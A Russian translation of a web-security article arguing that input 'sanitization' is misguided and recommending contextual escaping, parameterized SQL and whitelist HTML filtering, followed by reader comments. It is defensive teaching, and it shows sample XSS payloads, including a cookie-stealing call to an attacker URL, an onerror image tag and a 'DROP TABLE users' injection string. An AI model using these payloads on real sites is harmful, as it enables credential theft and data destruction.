Время от времени мы слышим в кругу разработчиков разговоры о “санации пользовательского ввода” с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.
Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).
Давайте рассмотрим конкретный пример:
NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.
Билли Кид вводит свое имя как Billy <script>alert('Hello Bob!')</script>
.
Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег script
, который в числе прочего обрабатывается его браузером.
Если alert()
изменить на что-то более вредоносное, например sendCookies('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.
Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.
Итак, разработчик узнает о “фильтрации входных данных” или “санации ввода”, поэтому он пишет код для удаления небезопасных HTML-символов <>&
из имени перед его сохранением. Дело сделано!
Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &
, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.
Или если фильтр чуть поусерднее и также удаляет '
и"
, кто-то вроде Билла О’Брайена становится Биллом ОБрайеном. Искажать имена людей - плохая практика.
Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит “небезопасно”? И в каком контексте? Конечно, <>&
являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.
Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:
<html>
...
<script>
var name = "<?=$name?>";
</script>
Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); "
, то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).
Еще одним хорошим примером такого рода проблем является SQL-инъекция - атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:
$query = "SELECT * FROM users WHERE name = '{$name}'"
Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!
Между прочим, мать в комиксе xkcd говорит: “А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных”. Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду “экранировать параметры вашей базы данных”.
Короче говоря, нет смысла отсеивать “опасные символы”, потому что некоторые символы опасны в одном контексте и совершенно безопасны в другом.
Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.
Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.
И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);
Иногда это называют “контекстным экранированием”. Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.
Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.
Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:
Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.
Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как <а href="...">
и <img src="...">
. Например, Stack Exchange и GitHub придерживаются этого второго подхода.
Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, <img src="x" onerror="badFunc()">
), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.
Поэтому в тех случаях, когда вам нужно “транслировать” необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.
Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы — но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.
Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.
Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @
или имеете раскрывающийся список “Статус публикации”, который может быть только чем-либо из “черновик”, “опубликовано”, или “в архиве”, который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.
Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:
Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.
На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.
Также есть ответ на StackOverflow на вопрос “How can I sanitize user input with PHP?” с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.
Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News и сабреддите programming.
Я был бы рад, если бы вы спонсировали меня на GitHub – это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!
Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.
Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.
Вообще, занятно: получается, что проблема во всех этих инъекциях из-за того, что мы передаём код на языке SQL в виде строки, а не в виде AST. Если, скажем, формировать запрос в виде:
и инжектировать прямо в движок базы данных, минуя парсер базы данных, то эти SQL инъекции автоматом станут безопасны.
Именно это и делают плейсхолдеры, когда prepared statements поддерживаются на уровне базы
Я не сомневался, что идею передачи AST в базу данных уже кто-то реализовал. Но, как обычно, назвал своим личным термином.
Но я к тому, что надо бы S-expression ввести в качестве универсального формата общения разных современных ЯВУ. И передавать, разумеется, не в строковом, а бинарном виде. А сейчас всё делается через C.
Все-таки, подготовленные выражения — это не совсем AST. Или даже совсем не. Это именно что плейсхолдеры, переменные только для данных.
А какая, собственно, разница? Вам все равно надо как-то в этот массив байт подставить значение, введенное пользователем.
Вот есть у вас переменная с нужным значением, а дальше что? Тут проблема не в том, AST это или нет, а в том, что в него подставляются (конкатенируются) данные, которые пришли извне. База все равно будет его как-то интерпретировать и выполнять, хоть с парсингом, хоть без. А именованные переменные это такой механизм протокола обмена, что база знает, что в этом месте пакета данных лежат только данные SQL-запроса, и их не надо выполнять как код.
Ну не совсем. Это довольно урезанный функционал. Плейсхолдер может заменить только data literal — строковый или числовой. Все остальные части запроса идут как есть
Раздельная передача запроса и данных не обязательно использует prepared statements. Плейсхолдеры могут работать и без prepared statements. Например pg_query_params так работает.
pg_query_params — это просто обертка :)
Хелпер. Синтаксический сахар.
Но внутри у нее тот же самый подготовленный запрос :)
Нет, под капотом вызов PQexecParams. Подготовленный запрос при этом не используется.
https://github.com/php/php-src/blob/master/ext/pgsql/pgsql.c#L1114
Да прочитал я уже в документации. Да, формально PQexecParams — это не подготовленный запрос. Надо взять себе за правило использовать слово параметризованный, чтобы не становиться объектом таких придирок.
Я извиняюсь за обиженный тон в предыдущем комментарии. Вы совершенно правы, формулировки должны быть точными. Даже если с точки зрения конечного пользователя разницы и нет. Надо было с самого начала говорить про параметризованные запросы, чтобы разночтений не возникало.
Главное достоинство SQL, позволяющее ему быть на коне уже десятки лет, когда почти все современные ему языки уже канули в лету — это лаконичность и читабельность. которые такой отправкой будут полностью уничтожены.
Но некоторой альтернативой являются различные QueryBuilders
В данный момент изучаю Express, по курсу вводят работу с express-validator. Там и валидация и escape() для тела входящего запроса. Это достаточная мера предосторожности для работы с экспресс сервером и нереляционной базой вроде монго? Для SQL базы нужно поверх этого еще sql валидатор использовать?
PS В изучаемом мной материале валидация данных и на стороне клиента и на сервере предполагается обязательной. Был удивлен, что в статье это представляется опцией.
Вы же читали статьи про правильную валидацию почты? Ну или хотя бы уверены, что используемая вами библиотека четко проверяет все варианты из RFC 6854 типа
Pete(A nice \) chap) <pete(his account)@silly.test(his host)>
Поубивать бы таких валидаторов, которые не позволяют user+anything@host.com... По +anything потом прекрасно понятно от кого повалил спам. Но часто валидаторы в ступоре от плюса.
Иногда плюс запрещают специально, чтобы не было нескольких аккаунтов на один емейл.
В этом, по сути, нет смысла. Если мне очень надо, я просто заведу второе мыло. Просто мне станет чуть-чуть неудобнее. Саму проблему (несколько аккаунтов у одного человека) это не решает. Ну разве что если цель - сделать ведение мультиаккаунтов неудобным.
Очень хороший вопрос.
Про escape()
Ну вот это как раз та самая глупость, о которой и говорится в статье. Это те грабли, по которым все РНР фреймворки уже прошли, но Express зачем-то решил наступить тоже.
В статье прямо говорится, что escape() для тела входящего запроса делать не следует. Именно потому, что ни к с экспресс серверу, ни к базе вроде монго, ни к SQL эта функция никакого отношения не имеет. Она нужна только при выводе данных в HTML контекст. А на вводе ей делать нечего.
Спасибо за развернутые ответы =)
Про искейп понял. До этого думал, что этот метод переводит спецсимволы в юникод, но перечитал статью на MDN и понял, что он их просто вытирает. Там же написано, что эти символы могут быть для cross-site scripting attacks использовано.
Про базы и необходимую доп санацию понятно объяснили, спасибо. Можно поподробней про плейсхолдеры для SQL запросов? Не очень понятно что имеется ввиду и как работает.
PS не уверен, что express-validator это часть экспресса, выглядит как сторонняя мидлвара - лежит на npm, доки на отдельном сайте.
Плейсхолдер, это когда SQL запрос не собирается из статичных частей и переменных, а является полностью статичным. При этом на месте подставляемых переменных в запросе стоят знаки вопроса. Т.е. вместо
будет
а само значение переменной будет подставлено во время выполнения. А система уже дальше сама обработает переданные переменные как надо, чтобы они не нанесли вреда запросу.
Про валидацию.
В первую очередь надо понять, что статья не про валидацию вообще. Она она в первую очередь про безопасность. И про логику действий разработчика. А про валидацию — это просто рекомендация. Но, тем не менее, вопрос очень хороший, потому что люди часто путают валидацию с обеспечением безопасности.
Так вот, к безопасности валидация не имеет никакого отношения. И с этой точки зрения любая валидация опциональна. Хоть клиентская, хоть серверная.
Валидация — это часть бизнес-логики. И поэтому всегда разная. Это принципиально неформализуемое понятие. Невозможно заранее составить набор правил валидации для любых данных. То есть это такое достаточно неопределенное понятие, используемое для удобства. Это "хорошая" практика, а не обязательная. Безопасность приложения при отсутствии валидации не пострадает.
Говоря о том, что валидация на клиенте является опцией, автор исходит из логики. Из того простого факта, что клиентская валидация вообще ничего не гарантирует, поскольку ее легко обойти.
С точки зрения юзабилити — валидация на фронте скорее обязательна, да. Но статья вообще про это. Так понятнее?
Безопасность же, в отличие от валидации — обязательна.
И при обеспечении безопасности никакую валидацию использовать нельзя. У безопасности свои собственные правила, никак на валидацию не завязанные.
В частности, при выводе данных в HTML контекст в них необходимо экранировать управляющие символы HTML.
При составлении запроса SQL необходимо соблюдать два основных правила:
Реализация этих двух правил не обязательно должна быть явной, а может скрываться внутри какого-нибудь хелпера, но в конечном итоге составление запроса должно строго им следовать.
Теперь, я думаю, вы можете самостоятельно ответить на свой вопрос,